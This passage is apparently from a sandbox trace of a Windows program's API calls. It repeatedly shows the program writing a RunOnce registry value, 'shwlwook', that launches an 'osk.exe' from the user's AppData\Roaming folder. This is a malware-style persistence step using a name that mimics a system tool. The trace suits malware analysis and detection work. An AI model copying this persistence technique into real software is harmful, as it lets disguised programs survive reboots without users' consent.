lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0262.513] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0262.513] RegCloseKey (hKey=0x14c) returned 0x0 [0262.513] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0262.514] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0262.527] TranslateMessage (lpMsg=0x95f69c) returned 0 [0262.527] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0262.528] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0262.528] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0262.528] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0262.529] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0262.529] RegCloseKey (hKey=0x14c) returned 0x0 [0262.529] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0262.529] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0262.543] TranslateMessage (lpMsg=0x95f69c) returned 0 [0262.543] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0262.544] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0262.544] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0262.544] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0262.545] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0262.545] RegCloseKey (hKey=0x14c) returned 0x0 [0262.545] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0262.545] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0262.558] TranslateMessage (lpMsg=0x95f69c) returned 0 [0262.558] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0262.559] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0262.559] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0262.559] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0262.559] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0262.560] RegCloseKey (hKey=0x14c) returned 0x0 [0262.560] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0262.560] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0262.574] TranslateMessage (lpMsg=0x95f69c) returned 0 [0262.574] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0262.574] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0262.575] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0262.575] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0262.575] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0262.575] RegCloseKey (hKey=0x14c) returned 0x0 [0262.575] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0262.576] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0262.590] TranslateMessage (lpMsg=0x95f69c) returned 0 [0262.590] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0262.590] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0262.590] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0262.590] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0262.591] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0262.591] RegCloseKey (hKey=0x14c) returned 0x0 [0262.591] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0262.591] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0262.605] TranslateMessage (lpMsg=0x95f69c) returned 0 [0262.605] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0262.606] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0262.606] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0262.606] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0262.606] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0262.606] RegCloseKey (hKey=0x14c) returned 0x0 [0262.606] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0262.607] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0262.621] TranslateMessage (lpMsg=0x95f69c) returned 0 [0262.621] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0262.621] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0262.622] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0262.622] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0262.622] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0262.622] RegCloseKey (hKey=0x14c) returned 0x0 [0262.622] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0262.622] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0262.636] TranslateMessage (lpMsg=0x95f69c) returned 0 [0262.636] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0262.637] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0262.637] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0262.637] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0262.638] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0262.638] RegCloseKey (hKey=0x14c) returned 0x0 [0262.638] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0262.638] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0262.652] TranslateMessage (lpMsg=0x95f69c) returned 0 [0262.652] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0262.652] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0262.653] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0262.653] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0262.653] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0262.653] RegCloseKey (hKey=0x14c) returned 0x0 [0262.654] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0262.654] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0262.668] TranslateMessage (lpMsg=0x95f69c) returned 0 [0262.668] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0262.668] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0262.669] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0262.669] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0262.669] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0262.669] RegCloseKey (hKey=0x14c) returned 0x0 [0262.669] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0262.670] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0262.684] TranslateMessage (lpMsg=0x95f69c) returned 0 [0262.684] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0262.684] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0262.685] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0262.685] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0262.685] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0262.685] RegCloseKey (hKey=0x14c) returned 0x0 [0262.685] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0262.686] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0262.699] TranslateMessage (lpMsg=0x95f69c) returned 0 [0262.699] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0262.699] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0262.700] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0262.700] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0262.700] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0262.700] RegCloseKey (hKey=0x14c) returned 0x0 [0262.701] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0262.701] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0262.714] TranslateMessage (lpMsg=0x95f69c) returned 0 [0262.715] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0262.715] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0262.715] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0262.715] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0262.716] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0262.716] RegCloseKey (hKey=0x14c) returned 0x0 [0262.716] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0262.716] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0262.730] TranslateMessage (lpMsg=0x95f69c) returned 0 [0262.730] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0262.731] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0262.731] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0262.731] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0262.731] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0262.731] RegCloseKey (hKey=0x14c) returned 0x0 [0262.732] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0262.732] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0262.746] TranslateMessage (lpMsg=0x95f69c) returned 0 [0262.746] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0262.746] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0262.747] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0262.747] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0262.747] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0262.747] RegCloseKey (hKey=0x14c) returned 0x0 [0262.747] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0262.748] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0262.769] TranslateMessage (lpMsg=0x95f69c) returned 0 [0262.769] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0262.769] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0262.770] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0262.770] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0262.770] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0262.770] RegCloseKey (hKey=0x14c) returned 0x0 [0262.771] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0262.771] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0262.778] TranslateMessage (lpMsg=0x95f69c) returned 0 [0262.778] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0262.778] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0262.779] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0262.779] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0262.779] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0262.779] RegCloseKey (hKey=0x14c) returned 0x0 [0262.779] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0262.779] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0262.809] TranslateMessage (lpMsg=0x95f69c) returned 0 [0262.809] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0262.809] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0262.810] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0262.810] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0262.810] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0262.810] RegCloseKey (hKey=0x14c) returned 0x0 [0262.810] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0262.811] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0262.827] TranslateMessage (lpMsg=0x95f69c) returned 0 [0262.827] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0262.827] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0262.828] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0262.828] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0262.828] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0262.828] RegCloseKey (hKey=0x14c) returned 0x0 [0262.828] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0262.829] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0262.855] TranslateMessage (lpMsg=0x95f69c) returned 0 [0262.856] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0262.856] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0262.856] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0262.857] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0262.857] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0262.857] RegCloseKey (hKey=0x14c) returned 0x0 [0262.857] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0262.857] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0262.871] TranslateMessage (lpMsg=0x95f69c) returned 0 [0262.871] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0262.871] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0262.871] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0262.871] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0262.872] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0262.872] RegCloseKey (hKey=0x14c) returned 0x0 [0262.872] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0262.872] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0262.887] TranslateMessage (lpMsg=0x95f69c) returned 0 [0262.887] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0262.887] 